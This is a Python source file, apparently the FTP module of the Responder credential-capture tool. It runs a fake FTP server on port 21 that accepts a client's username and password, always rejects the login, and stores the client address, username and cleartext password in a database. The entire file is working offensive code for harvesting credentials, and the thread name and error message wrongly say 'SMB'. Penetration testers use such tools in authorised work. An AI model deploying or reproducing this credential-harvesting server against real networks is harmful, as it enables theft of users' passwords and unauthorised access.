#!/usr/bin/env python # This file is part of Responder # Original work by Laurent Gaffie - Trustwave Holdings # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . import os import threading from core.responder.utils import * from SocketServer import BaseRequestHandler, ThreadingMixIn, TCPServer from core.responder.packets import FTPPacket class FTP: def start(self): try: if OsInterfaceIsSupported(): server = ThreadingTCPServer((settings.Config.Bind_To, 21), FTP1) else: server = ThreadingTCPServer(('', 21), FTP1) t = threading.Thread(name='SMB', target=server.serve_forever) t.setDaemon(True) t.start() except Exception as e: print "Error starting SMB server: {}".format(e) print_exc() class ThreadingTCPServer(ThreadingMixIn, TCPServer): allow_reuse_address = 1 def server_bind(self): if OsInterfaceIsSupported(): try: self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') except: pass TCPServer.server_bind(self) class FTP1(BaseRequestHandler): def handle(self): try: self.request.send(str(FTPPacket())) data = self.request.recv(1024) if data[0:4] == "USER": User = data[5:].strip() Packet = FTPPacket(Code="331",Message="User name okay, need password.") self.request.send(str(Packet)) data = self.request.recv(1024) if data[0:4] == "PASS": Pass = data[5:].strip() Packet = FTPPacket(Code="530",Message="User not logged in.") self.request.send(str(Packet)) data = self.request.recv(1024) SaveToDb({ 'module': 'FTP', 'type': 'Cleartext', 'client': self.client_address[0], 'user': User, 'cleartext': Pass, 'fullhash': User+':'+Pass }) else: Packet = FTPPacket(Code="502",Message="Command not implemented.") self.request.send(str(Packet)) data = self.request.recv(1024) except Exception: pass